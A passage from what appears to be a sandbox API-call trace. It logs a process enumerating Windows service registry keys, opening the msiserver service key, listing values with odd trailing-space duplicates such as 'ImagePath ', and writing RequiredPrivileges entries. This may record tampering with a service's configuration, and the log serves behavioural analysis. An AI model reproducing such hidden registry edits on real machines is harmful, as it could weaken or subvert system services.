out: lpName="hcw85cir") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0214.226] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0214.227] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0214.228] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0214.229] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0214.230] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0214.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0214.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0214.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0214.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0214.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0214.231] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0214.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0214.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0214.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0214.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0214.252] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0214.252] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0214.252] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0214.252] RegCloseKey (hKey=0x148) returned 0x0 [0214.252] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0214.252] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0214.253] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0214.253] RegCloseKey (hKey=0x80000002) returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0214.253] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0214.254] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0214.254] RegCloseKey (hKey=0x150) returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0214.254] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0214.254] RegCloseKey (hKey=0x148) returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0214.254] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0214.255] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0214.255] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0214.255] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0214.255] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0214.255] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.255] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.255] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.255] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.256] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0214.256] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0214.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0214.257] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeChangeNotifyPrivilege", cbData=0x18 | out: lpData="SeChangeNotifyPrivilege") returned 0x0 [0214.257] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0214.257] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0214.257] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0214.257] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0214.257] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0214.257] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0214.257] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.257] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0214.258] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0214.258] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, 